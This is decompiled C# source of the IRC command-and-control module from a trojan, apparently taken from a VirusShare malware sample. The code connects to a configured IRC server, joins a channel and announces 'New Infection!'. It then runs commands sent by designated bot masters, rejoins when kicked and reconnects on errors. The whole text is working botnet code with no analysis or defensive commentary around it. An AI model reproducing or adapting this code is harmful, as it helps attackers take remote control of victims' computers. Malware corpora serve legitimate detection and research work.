// Decompiled with JetBrains decompiler // Type: Hearding_Bot.Irc // Assembly: Hearding Bot, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null // MVID: 931E7B23-EA6E-4139-8BD0-1A4E0BF9E258 // Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Fsysna.dljm-a7abcca3397d1344b43d53c1427609ca1808f1991c5d2b158fd67c1ea3e6f19a.exe using System; using System.IO; using System.Net.Sockets; using System.Threading; namespace Hearding_Bot { internal class Irc { private static StreamWriter sw; private static StreamReader sr; private static NetworkStream stream; public static TcpClient ircClient; public static void Initialize() { try { Irc.ircClient = new TcpClient(Config.ircHost, Config.ircPort); Irc.Begin(); } catch (Exception ex) { Thread.Sleep(300000); Irc.Initialize(); } } public static void Begin() { Irc.stream = Irc.ircClient.GetStream(); Irc.sr = new StreamReader((Stream) Irc.stream); Irc.sw = new StreamWriter((Stream) Irc.stream); Endure.Begin(); if (Config.ircPass != "") Irc.Write("PASS " + Config.ircPass); Irc.Write("USER HERDER IS HERE TO :STAY"); Irc.Write("NICK " + Config.ircNick); Irc.Write("JOIN " + Config.ircChannel + " " + Config.ircChannelPass); if (Config.ircNick == Config.newNick) Irc.WriteTo(Config.ircChannel, "New Infection!"); Irc.listenToIrc(); } private static void listenToIrc() { string empty = string.Empty; while (true) { try { string str1; while ((str1 = Irc.sr.ReadLine()) != null) { if (str1.Contains("PRIVMSG")) { string str2 = str1.Substring(1, str1.IndexOf("!") - 1); foreach (string ircMaster in Config.ircMasters) { if (ircMaster == str2) { int startIndex = str1.IndexOf("PRIVMSG ") + 8; int num = str1.IndexOf(" :"); str1.Substring(startIndex, num - startIndex); string str3 = str1.Substring(num + 2); if (str3.StartsWith(Config.ircCommandPrefix)) { Functions.determineWho(str3.Substring(1)); break; } break; } } } else if (str1.Contains("PING :")) { int startIndex = str1.IndexOf("PING :") + 6; Irc.Write("PONG :" + str1.Substring(startIndex)); } else if (str1.Contains("KICK " + Config.ircChannel + " " + Config.ircNick)) { Irc.Write("JOIN " + Config.ircChannel + " " + Config.ircChannelPass); Irc.WriteTo(Config.ircChannel, "Yeah, Fuck You Too!"); } else { bool flag = false; string[] strArray = new string[4] { "Erroneus nickname", "Unknown command", "ERROR", "throttled" }; foreach (string str4 in strArray) { if (str1.ToLower().Contains(str4.ToLower())) { flag = true; break; } } if (flag) { Irc.ircClient.Close(); Thread.Sleep(500); Program.Main((string[]) null); } } } } catch (Exception ex) { Irc.ircClient.Close(); Thread.Sleep(500); Program.Main((string[]) null); } } } public static void WriteTo(string chan, string msg) => Irc.Write("PRIVMSG " + chan + " : \u00035 " + msg); public static void Write(string msg) { try { Irc.sw.WriteLine(msg); Irc.sw.Flush(); } catch (Exception ex) { Thread.Sleep(2000); } Thread.Sleep(300); } } }